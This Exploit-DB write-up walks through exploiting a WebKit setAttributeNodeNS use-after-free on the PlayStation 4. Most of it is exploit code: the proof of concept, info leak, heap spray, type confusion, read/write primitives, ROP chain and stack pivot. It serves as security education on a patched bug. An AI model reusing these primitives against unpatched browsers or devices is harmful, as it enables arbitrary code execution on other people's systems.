Sony Playstation 4 (PS4) - WebKit 'setAttributeNodeNS' User After Free Write-up
EDB-ID:
44230
CVE:
N/A
Become a Certified Penetration Tester
Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.
GET CERTIFIED
**Note: While I exploited this bug on the PS4, this bug can also be exploited on other unpatched platforms. As such, I've published it under the "WebKit" folder and not the "PS4" folder.** # Introduction In around October of 2017, a few others as well as myself were looking through project zer0 bugs to see which ones could work on the latest FW of the PlayStation 4, which at the time was 5.00. I stumbled across the setAttributeNodeNS bug, and happily (with a majority of the work being done by qwertyoruiopz), we were able to achieve userland code execution in WebKit. While we were writing this exploit, qwerty helped me understand what was happening, and I ended up learning a lot from it, so I hope through this write-up, those interested could learn about WebKit internals - I've tried to ensure the write-up is for the most part beginner friendly. The exploit was patched in firmware 5.03. This write-up will only cover the userland aspect of the 4.55 full jailbreak chain, however you can find the kernel part here (to be released at a later date). # The PoC (proof-of-concept) The proof of concept for this exploit can be found on the [Chromium bug page](). This bug was reported by lokihardt from Google Project Zer0. The bug can be found in `Element::setAttributeNodeNS()`. Let's take a look at a code snippet: ```cpp ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode) { ... setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute); attrNode.attachToElement(*this); treeScope().adoptIfNeeded(attrNode); ensureAttrNodeListForElement(*this).append(&attrNode); return WTFMove(oldAttrNode); } ``` Notice that the function calls `setAttributeInternal()` before inserting / updating a new attribute. As stated by the bug description, `setAttributeNodeNS()` can be called again through `setAttributeInternal()`. If this happens, two attribute nodes (Attr) will have the same owner element. If one were to be free()'d, the other attribute will hold a stale reference, thus allowing a use-after-free (UAF) scenario. Let's take a look at the PoC: ```html <body> <script> function gc() { for (let i = 0; i < 0x40; i++) { new ArrayBuffer(0x1000000); } } window.callback = () => { window.callback = null; d.setAttributeNodeNS(src); f.setAttributeNodeNS(document.createAttribute('src')); }; let src = document.createAttribute('src'); src.value = 'javascript:parent.callback()'; let d = document.createElement('div'); let f = document.body.appendChild(document.createElement('iframe')); f.setAttributeNodeNS(src); f.remove(); f = null; src = null; gc(); alert(d.attributes[0].ownerElement); </script> ``` In environments where the bug is unpatched, alert() will report an instance of the iframe object. In patched environments, the code will fail and hit an exception, because `d` should be `undefined`. I am happy to say that alert() will report an instance of the iframe object up to and including firmware 5.02. ## Important Note about WebKit Heap WebKit sections it’s heap into arenas. The purpose of these arenas is not only to organize objects in their own pools, but to also mitigate heap exploits by controlling what type of objects you can corrupt in your immediate arena. The object we have a use-after-free for is an iframe object, which is `fastmalloc()`'d. This will be in the WebCore arena. WebCore objects are not too interesting for primitives, our eventual goal is to obtain a read/write primitive via a misaligned uint32array. We need to move from WebCore heap corruption to JSCore heap corruption. Keep this in mind for the rest of the exploit, as it is a vital to it’s success. # Stage 1: Information Leak ## Introduction We need to leak a pointer to a JSValue in the JSCore heap that we want to corrupt. Unfortunately our leak is also a WebCore leak as the backing memory is `fastmalloc()`’d, so we need an object that is both `fastmalloc()`’d and contains pointers into the JSCore heap. MarkedArgumentBuffer is a great target. For more information on MarkedArgumentBuffer and how it can be used in exploits, see the [Pegasus write-up](). ## Vector: postMessage() We can create an "ImageData" object (see [ImageData]()) and call `postMessage()` with a null message and no origin preference, and use our instance of the ImageData object as the transfer. By then pushing the state of the object into the session history, the backing memory for the `ImageData.data` object is allocated but not initialized. We can actually access this backing memory via` history.state.data.buffer` as a Uint32array. This means not only can we access uninitialized heap memory, we can control the size of the leak. We can setup the heap to leak a JSObject. Creating our own JSObject is very trivial, and can be done like so: ```javascript var tgt = {a:0,b:0,c:0,d:0}; ``` We can then spray the heap with our JSObject of `tgt` and leak it using the ImageData object's backing memory, `.data.buffer`. ```javascript var y = new ImageData(1, 0x4000); postMessage("", "*", [y.data.buffer]); var props = {}; for (var i=0; i<0x4000/(2); ) { props[i++] = {value:0x42424242}; props[i++] = {value:tgt}; } // ... history.pushState(y,""); Object.defineProperties({}, props); var leak = new Uint32Array(history.state.data.buffer); ``` ## Leaking a JSValue Our goal of this leak is to be able to leak a JSValue, but how can we do this? The answer is JSObjects. We can easily create one, and not only will this object allow us to leak JSValues, but we will also use it in a later stage to obtain a read/write primitive (more on that later). For now, let's look at how JSObjects look in memory (for more information on JSObject internals, see the ["Attacking Javascript Engines"]() paper by Saelo@Phrack). I've written it as a C structure in pseudocode and provided the offsets as comments, in reality it's a bit more complex, but the concept remains. ```c struct JSObject { JSCell cell; // 0x00 Butterfly *butterfly; // 0x08 JSValue *prop_slot_1; // 0x10 JSValue *prop_slot_2; // 0x18 JSValue *prop_slot_3; // 0x20 JSValue *prop_slot_4; // 0x28 } ``` For this write-up, we will mostly ignore the "cell" and "butterfly" members. Just know that "cell" contains the object's type, structure ID, and some flags. The butterfly pointer will be null, because since we are only using 4 properties, a butterfly is not needed. Notice how we have access to JSValue pointers in offsets 0x10 - 0x30? We're going to use slot 2 (labelled 'b' in the target object) to leak JSValues. As a reminder, here's a definition of target: ```javascript var tgt = {a:0,b:0,c:0,d:0}; ``` To leak the JSValue from 'b', we will need to put our target object inside some other object that we can spray on the heap, such as a MarkedArgumentBuffer. If we set some properties of the object to our target JSObject `tgt`, we will be able to leak it in memory, as it will be inlined. If we add less than 8 properties, the object will be allocated on the stack (this is for performance reasons). We need our object to be in the heap. Additionally, larger objects are used less and are therefore more reliable, so we will add `0x4000` properties to our MarkedArgumentBuffer object. In our spray, we will set every second element to `0x42424242` (“BBBB”) and every other element to `tgt`. This will allow us to both ensure the integrity of the leak (by checking against `0x42424242`) and allow us to extract information out of our JSObject. The exploit further verifies that we’re leaking the correct object by checking the JSObject's properties against known values. ```javascript for (var i=0; i < leak.length - 6; i++) { if (leak[i] == 0x42424242 && leak[i+1] == 0xffff0000 && leak[i+2] == 0 && leak[i+3] == 0 && leak[i+4] == 0 && leak[i+5] == 0 && leak[i+6] == 14 && leak[i+7] == 0 && leak[i+10] == 0 && leak[i+11] == 0 && leak[i+12] == 0 && leak[i+13] == 0 && leak[i+14] == 14 && leak[i+15] == 0) { foundidx = i; foundleak = leak; break; } } ``` Keep in mind `leak` is a Uint32array, meaning each element is 32-bits wide. Index 0 and 1 contain the JSValue of our `0x42424242` immediate value (index 1 is set to `0xFFFF0000` because this is the upper prefix for a 32-bit integer). Also keep in mind we're in Little Endian, which is why element `0` contains the lower 32-bits of the JSValue and element 1 the upper 32-bits. Notice that we can leak the JSValue of the second property ('b') of the JSObject at index 8 and 9 (6 indexes * 4 bytes = 0x18 (prop_slot_2) + 0x08 for the `0x42424242` JSValue). ```javascript var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40); var leakval = new int64(firstleak[8], firstleak[9]); leakval.toString(); ``` # Stage 2: Trigger UaF ## Introduction Because we maintain a double reference to the iframe, when it is free()'d by garbage collection, one reference will be cleared however the other will not be. This allows us to maintain a stale reference. This is important, because we can corrupt the backing JSObject of the iframe object by spraying the heap, and control the behavior of how the stale object is used. For instance, we can control the size of the buffer, the pointer to the backing memory (called "vector"), and the butterfly. ## Memory Pressure Now that we've leaked a JSValue, we're going to trigger the free() on our iframe by applying memory pressure to force garbage collection by calling `dgc()`. `dgc()` is defined as the following: ```javascript var dgc = function() { for (var i = 0; i < 0x100; i++) { new ArrayBuffer(0x100000); } } f.name = "lol"; f.setAttributeNodeNS(src); f.remove(); f = null; src = null; nogc.length=0; dgc(); ``` # Stage 3: Heap Spray ## Introduction The JSObject representing our iframe is free, as well as it's butterfly. Again, iframe objects are `fastmalloc()`'d, meaning our spray vector must also be `fastmalloc()`'d. Our old friend ImageData does the trick. We cannot allocate Uint32Array's of size 0x90 and have it `fastmalloc()`'d, but we need to access the data via a Uint32Array. We can get around this by first spraying a bunch of ImageData objects on the heap (Uint8Array) then converting to Uint32Arrays after. On the heap, iframe objects are of size 0x90 on the PS4. We can control the size of the MarkedArgumentBuffer we spray via the ImageData "width" and "height" parameters. Since each value is represented by 32-bits (or 4 bytes) and ImageData is backed by a Uint8Array, we divide the height by 4. ```javascript for (var i=0; i < 0x10000; i++) { objs[i] = new ImageData(1,0x90/4); } for (var i=0; i < 0x10000; i++) { objs[i] = new Uint32Array(objs[i].data.buffer); } ``` ## Memory Corruption Now we've sprayed the heap with a bunch of objects, but we haven't really corrupted memory yet. Our next task is to loop through all the objects we created, and set their butterfly values to `leakval + 0x1C`. This will allow us to smash the butterfly easily via the 'b' property of the target. Notice we're overwriting indexes 2 and 3 as each index is 32-bits wide, so index 2 is offset 0x8 (which is the lower 32-bits of the butterfly) and index 3 is offset `0xC` (which is the upper 32-bits of the butterfly). ```javascript for (var i=0; i<objspray; i++) { objs[i][2] = leakval.low + 0x18 + 4; objs[i][3] = leakval.hi; } ``` # Stage 4: Misaligning JSValues ## Introduction Our next objective is to misalign a JSValue so we can control the JSObject's JSCell, Butterfly, Vector, and Length. We can do this by taking the leaked JSValue we have from the infoleak and add 0x10 to the pointer. This will allow us to create a fake JSArrayBufferView inside the JSObject's inline property storage, and control meta-data that we otherwise could not control. (credits: qwertyoruiopz) ## Note Notice in the screenshot that the structure of "Uint32Array" differs slightly from a JSObject. To avoid confusion, we will refer to this "Uint32Array" meta-data structure as JSArrayBufferView (which is the class that Float64Array's inherit) to avoid confusing it with the Uint32Array type. ## Misalign + Type Confusion First, we'll grab a pointer to our fake JSArrayBufferView. As mentioned earlier, we're going to create it via the target's properties at offset 0x10, so we can take the leaked value and add `0x10` to it. ```javascript var craftptr = leakval.sub32(0x10000 - 0x10) ``` This line may seem strange at first, but notice that due to double encoding, this line translates to `leakval.sub32(-0x10)`, or simply `leakval.add32(0x10)`. Then we need to fake the JSCell of a JSObject using the target's first property, and fake the butterfly to point to the leaked object itself, and the vector to the upper 32-bits of the leaked object. What we are essentially doing here is creating *Type Confusion* in the heap via the JSCell to create a fake JSArrayBufferView. ```javascript tgt.a = u2d(2048, 0x1602300); tgt.b = u2d(0,craftptr.low); tgt.c = craftptr.hi; ``` # Stage 5: Read/Write Primitive ## Introduction Read/Write primitives are very powerful, and can allow us to later obtain code execution. For a R/W primitive, we need two buffers. The first is a master, this will allow us to set the address to write to in the case of writing, or the address to read from in the case of reading. The second is a slave, which will either be used to set the value at the master's address if writing, or read the value from the master's address if reading. We will also allocate a third buffer that will be used to help leak JSValues. ```javascript var master = new Uint32Array(0x1000); var slave = new Uint32Array(0x1000); var leakval_u32 = new Uint32Array(0x1000); ``` ## Important Note The following bit can be confusing if you don't understand this section. While `tgt` and `stale` *currently* overlap, they don't stay that way. By writing to `tgt.c`, we control where `stale` points. This means in the following section, when you see something such as the following: ```javascript tgt.c = master; stale[4] = leakval_u32[0]; stale[5] = leakval_u32[1]; ``` The first line sets `stale` to the JSArrayBufferView of the `master` Uint32array, and the second and third sets the "vector" pointer of the `master`'s JSArrayBufferView. This means we can control properties of the JSArrayBufferView via `stale`. Below is a diagram to provide a visual aid. ## Read/Write Primitives We're going to create a fake JSArrayBufferView inside the JSObject that we've set. This is trivial, we just need to change `tgt.a`'s JSCell ID to that of a JSArrayBufferView, and treat `b`, `c`, and `d` as `butterfly`, `vector`, and `length` respectively. ```javascript var leakval_helper = [slave,2,3,4,5,6,7,8,9,10]; tgt.a = u2d(4096, 0x1602300); tgt.b = 0; tgt.c = leakval_helper; tgt.d = 0x1337; ``` Notice we're setting the fake JSArrayBufferView's vector to a real JSArrayBufferView (leakval_helper). The first value is set to the `slave` buffer for leaking JSValues, the rest of the values are filler to ensure that a butterfly is allocated. Before we setup our primitives, we need to setup the handles to the buffers they will be using. First we'll store the butterfly's value from `leakval_helper`'s JSArrayBufferView - this is primarily used for creating and leaking JSValues, which is important later for gaining code execution. ```javascript tgt.c = leakval_helper; var butterfly = new int64(stale[2], stale[3]); ``` We'll want to setup some buffers to help us leak and create JSValues. We'll do this by setting `tgt.c` to the address of the `leakval_32` buffer we setup earlier. First we'll want to store the old "vector" value so we can restore it later. Then we will set the "vector" to `leakval_helper`'s butterfly which has the `slave` buffer. ```javascript tgt.c = leakval_u32; var lkv_u32_old = new int64(stale[4], stale[5]); stale[4] = butterfly.low; stale[5] = butterfly.hi; ``` Now we want to setup the buffers for our read/write primitive. By setting `master`'s "vector" to the address of the `slave` Uint32Array, we can easily establish a read/write primitive. We can control where `slave` points via the "vector" of `master`. Therefore, by setting up `master[4]` and `master[5]` with the address of where we want to write, and `slave[0]` and `slave[1]` with the value we want to write, we can establish a write primitive. Similarily, by setting up `master[4]` and `master[5]` with the address of where we want to read from, we can retrieve our value from `slave[0]`, and `slave[1]` as well if the value is a 64-bit value. ```javascript tgt.c = master; stale[4] = leakval_u32[0]; // 'slave' read from butterfly of leakval_u32 stale[5] = leakval_u32[1]; var addr_to_slavebuf = new int64(master[4], master[5]); tgt.c = leakval_u32; stale[4] = lkv_u32_old.low; stale[5] = lkv_u32_old.hi; var prim = { write8: function(addr, val) { master[4] = addr.low; master[5] = addr.hi; if (val instanceof int64) { slave[0] = val.low; slave[1] = val.hi; } else { slave[0] = val; slave[1] = 0; } master[4] = addr_to_slavebuf.low; master[5] = addr_to_slavebuf.hi; }, write4: function(addr, val) { master[4] = addr.low; master[5] = addr.hi; slave[0] = val; master[4] = addr_to_slavebuf.low; master[5] = addr_to_slavebuf.hi; }, read8: function(addr) { master[4] = addr.low; master[5] = addr.hi; var rtv = new int64(slave[0], slave[1]); master[4] = addr_to_slavebuf.low; master[5] = addr_to_slavebuf.hi; return rtv; }, read4: function(addr) { master[4] = addr.low; master[5] = addr.hi; var rtv = slave[0]; master[4] = addr_to_slavebuf.low; master[5] = addr_to_slavebuf.hi; return rtv; } // ... } ``` ## JSValue Leak/Create Primitives Notice that earlier we ensured a butterfly was created for `leakval_helper` by setting up more than 4 values. Also notice that we've set `leakval_32` up so that we can write to `leakval_helper`'s own butterfly, as we've set `tgt.c` to `leakval_helper` and set it's backing JSObject's "vector" to `butterfly`. ```javascript tgt.c = leakval_helper; // ... var butterfly = new int64(stale[2], stale[3]); tgt.c = leakval_u32; // ... stale[4] = butterfly.low; stale[5] = butterfly.hi; ``` Below is a snippet of how butterflies are structured, this was taken from the Phrack paper "Attacking Javascript Engines": ``` -------------------------------------------------------- .. | propY | propX | length | elem0 | elem1 | elem2 | .. -------------------------------------------------------- ^ | +---------------+ | +-------------+ | Some Object | +-------------+ ``` Notice how elem0 is accessible by accessing index 0 due to where the object references the butterfly. This is why using `leakval_u32` to set the `master` vector to `slave` works, because `slave` is at the zero-index. This means that the variable `butterfly` and `leakval_helper[0]` will be equivalent. If we place a JSValue in `leakval_helper[0]`, we can retrieve it's address by using our read() primitive on `butterfly`. Similarily, we can create a JSValue by writing it to the `butterfly`, and retrieving it via `leakval_helper[0]`. This allows us to convert bytes to JSValues and JSValues to bytes. ```javascript var prim = { // ... read/write primitives leakval: function(jsval) { leakval_helper[0] = jsval; var rtv = this.read8(butterfly); this.write8(butterfly, new int64(0x41414141, 0xffffffff)); return rtv; } createval: function(jsval) { this.write8(butterfly, jsval); var rt = leakval_helper[0]; this.write8(butterfly, new int64(0x41414141, 0xffffffff)); return rt; } } ``` # Stage 6: Code Execution (ROP) ## Introduction Due to NX and lack of permissions for JiT memory, we have to run our kernel exploit in a ROP chain. This section mostly covers how ROP chains work for those who are newer to exploitation, but also focuses on some of the specifics of how the chain is launched. The idea of a ROP chain is simple. If we cannot write our own instructions and execute them, we can write instruction sequences using snippets of code that are already available to us from the program to accomplish a similar goal (these are often called "gadgets"). This concept is often referred to as a "code re-use" attack, or more commonly "return-oriented programming", which is abbreviated to "ROP" for brevity's sake. The idea is we control the instruction pointer and make it jump from 1 gadget to another to another. To do this, each gadget must end with a `0xC3` opcode, which in x86/x86_64 is a "ret" instruction. Gadgets can also end with "jmp" instructions, but these are not typically used because not only are gadgets much more limited, but "jmp"'s cannot always be controlled by the attacker. ## Faking a Stack So how do we create a chain to put our instruction sequences in? We can create a fake stack and ensure the pointer to our fake stack finds it's way into the `RSP` (stack pointer) register. When the next `ret` instruction is hit, our fake stack will be used. This is called a "stack pivot", an optimal stack pivot allows you to set both `RSP` and `RIP` (instruction pointer) registers. First we should create a set of functions that allows us to easily create and manage ROP chains. This function will have methods such as "push" and "syscall" to push the necessary information on the stack to do the action specified. Technically we could do these all manually every time we want to initiate a syscall, but this is unmanagable and creating a class of functions to manage this makes a lot more sense. We'll also want to allocate the backing memory of the stack, a Uint32Array is a good candidate for this. We want to also create a pointer that points to the base of the fake stack, like an `RBP` register. Naturally we'll need to set this to the address of the Uint32Array in memory. Thankfully due to the primitives we setup earlier, leaking the address of this array is trivial, as we can leak the Uint32Array's backing JSArrayBufferView and dereference the address at offset 0x10. The `count` variable will act as `RSP`, and will keep track of where we are in the stack. ```javascript window.RopChain = function () { this.ropframe = new Uint32Array(0x10000); this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10)); this.count = 0; // ... } ``` The ability to reset the ROP chain will also be helpful. After every run of the ROP chain, we can reset the count and zero the backing memory to ensure the next chain runs without issue. ```javascript this.clear = function() { this.count = 0; this.runtime = undefined; for (var i = 0; i < 0xff0/2; i++) { p.write8(this.ropframeptr.add32(i*8), 0); } }; ``` We will also want the ability to easily push values or gadgets into the ROP chain. These functions will not only write these values into the ROP chain, but will also implicitly keep track of `count` to prevent corrupting the stack. ```javascript this.pushSymbolic = function() { this.count++; return this.count-1; } this.finalizeSymbolic = function(idx, val) { p.write8(this.ropframeptr.add32(idx*8), val); } this.push = function(val) { this.finalizeSymbolic(this.pushSymbolic(), val); } this.push_write8 = function(where, what) { this.push(gadgets["pop rdi"]); // pop rdi this.push(where); // where this.push(gadgets["pop rsi"]); // pop rsi this.push(what); // what this.push(gadgets["mov [rdi], rsi"]); // perform write } ``` Finally, we want a function that can allow us to easily call functions by address. This function is fairly trivial, it essentially just sets up the argument registers and pushes the function pointer on the stack. In x86_64 ABI, the following arguments correspond to the following registers: ``` Argument 1 = RDI Argument 2 = RSI Argument 3 = RDX Argument 4 = RCX Argument 5 = R8 Argument 6 = R9 ``` To save space on our fake stack, the `fcall` function we create will only push instructions for setting up registers that we actually define. We will also be calling system calls through `fcall`. Because Sony no longer allows us to call system call 0 to specify the call number, we'll call the syscall wrappers provided to us from `libkernel_web.sprx`. ```javascript this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) { if (rdi != undefined) { this.push(gadgets["pop rdi"]); // pop rdi this.push(rdi); // what } if (rsi != undefined) { this.push(gadgets["pop rsi"]); // pop rsi this.push(rsi); // what } if (rdx != undefined) { this.push(gadgets["pop rdx"]); // pop rdx this.push(rdx); // what } if (rcx != undefined) { this.push(gadgets["pop rcx"]); // pop r10 this.push(rcx); // what } if (r8 != undefined) { this.push(gadgets["pop r8"]); // pop r8 this.push(r8); // what } if (r9 != undefined) { this.push(gadgets["pop r9"]); // pop r9 this.push(r9); // what } this.push(rip); // jmp return this; } ``` ## Stack Pivotting So we've setup a fake stack, but how do we actually make our chain run? This is accomplished by the fairly complex function `p.loadchain()`. For the sake of brevity, I won't cover all of what the function does as much of it is context saving stuff. I will not go as in-depth in this portion as I did the core of the exploit, but I will cover it briefly. Since we have a `leakval` primitive to leak JSValues, we can easily use this to leak function pointers. Functions in JavaScript are represented by objects, and the function's pointer is located at offset 0x18. We can then add 0x40 to this dereferenced value to skip the header. ```javascript p.leakfunc = function(func) { var fptr_store = p.leakval(func); return (p.read8(fptr_store.add32(0x18))).add32(0x40); } ``` Now that we have a primitive to leak JS function pointers, we can choose a target function and overwrite it's function pointer to jump to where we please. Since we used parseFloat() earlier for defeating ASLR, we can use it again. We first want to save register context, we can do this using the `setjmp()` funcion in libc. This however requires us to set rdi as well, so we'll call a "jop" sequence to get there. ``` // JOP 0: 48 8b 7f 48 mov rdi,QWORD PTR [rdi+0x48] 4: 48 8b 07 mov rax,QWORD PTR [rdi] 7: 48 8b 40 30 mov rax,QWORD PTR [rax+0x30] b: ff e0 jmp rax ``` The `reenter_help` function is then called via `Array.prototype.splice.apply(reenter_help);` to perform the stack pivot. The stack pivot is performed by leaking the address of the fake stack's pointer and popping it into the rsp register. ```javascript var reenter_help = {length: {valueOf: function(){ orig_reenter_rip = p.read8(stackPointer); stackCookie = p.read8(stackPointer.add32(8)); var returnToFrame = stackPointer; var ocnt = chain.count; chain.push_write8(stackPointer, orig_reenter_rip); chain.push_write8(stackPointer.add32(8), stackCookie); if (chain.runtime) returnToFrame=chain.runtime(stackPointer); chain.push(gadgets["pop rsp"]); // pop rsp chain.push(returnToFrame); // -> back to the trap life chain.count = ocnt; p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame }}}; ``` ## Function Calling Earlier we established a function called `fcall` in our ROP chain primitive to pop values into registers defined by the AMD64 ABI and push the function pointer on the stack to initiate a call. We will now create a wrapper that calls this function, but also additionally allows us to retrieve the return value. As defined in the ABI, returned values are always stored in the `rax` register, so by moving it into a memory address in our address space, we can easily retrieve it using our read primitive. ```javascript p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) { chain.clear(); chain.notimes = this.next_notime; this.next_notime = 1; chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); chain.push(window.gadgets["pop rdi"]); // pop rdi chain.push(chain.stackBase.add32(0x3ff8)); // where chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax chain.push(window.gadgets["pop rax"]); // pop rax chain.push(p.leakval(0x41414242)); // where if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour"); return p.read8(chain.stackBase.add32(0x3ff8)); } ``` ## System Calls As mentioned earlier, we cannot directly issue `syscall` instructions anymore in our ROP chains. We can however, call the wrappers provided to us to access them via the `libkernel_web.sprx` module. We can dynamically resolve syscall wrappers by reading the bytes to see if they match the structure of a syscall wrapper. This is far better compared to the past when we would have to reverse the libkernel module and add offsets manually for the system calls we needed, now we just need to keep a list of the syscall names if we want to call them by name. This list is kept in `syscalls.js`. ```javascript // Dynamically resolve syscall wrappers from libkernel var kview = new Uint8Array(0x1000); var kstr = p.leakval(kview).add32(0x10); var orig_kview_buf = p.read8(kstr); p.write8(kstr, window.moduleBaseLibKernel); p.write4(kstr.add32(8), 0x40000); var countbytes; for (var i=0; i < 0x40000; i++) { if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63) { countbytes = i; break; } } p.write4(kstr.add32(8), countbytes + 32); var dview32 = new Uint32Array(1); var dview8 = new Uint8Array(dview32.buffer); for (var i=0; i < countbytes; i++) { if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05) { dview8[0] = kview[i+3]; dview8[1] = kview[i+4]; dview8[2] = kview[i+5]; dview8[3] = kview[i+6]; var syscallno = dview32[0]; window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i); } } ``` Our system call primitive wrapper will simply locate the offset for a given system call by the `window.syscalls` array and issue an `fcall` to it. ```javascript p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) { if (typeof sysc == "string") { sysc = window.syscallnames[sysc]; } if (typeof sysc != "number") { throw new Error("invalid syscall"); } var off = window.syscalls[sysc]; if (off == undefined) { throw new Error("invalid syscall"); } return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9); } ``` # Conclusion For a seasoned webkit attacker, this bug is trivial to exploit. For non-seasoned ones such as myself however, working with WebKit to leverage a read/write primitive from WebCore heap corruption can be confusing and challenging. I hope through this write-up that it can help other researchers new to webkit to understand a bit of the magic that happens behind webkit exploitation, as without understanding fundamental data structures such as JSObjects and JSValues, it can be difficult to make sense of what's happening. This is why I focused the core of the write-up on going from heap corruption to obtaining a read/write primitive, and how type confusion with internal objects can be used to achieve it. In the next section (yet to be published), we will cover the kernel exploit portion of the 4.55 jailbreak chain. While this WebKit exploit will work on 5.02 and lower, the kernel exploit will only work on firmware 4.55 and lower. # Credits [qwertyoruiopz]() Lokihardt # References [Chromium Bug #169685]() reported by lokihardt@google.com [Attacking Javascript Engines]() by sealo [Technical Analysis of the Pegasus Exploits on iOS]() by Lookout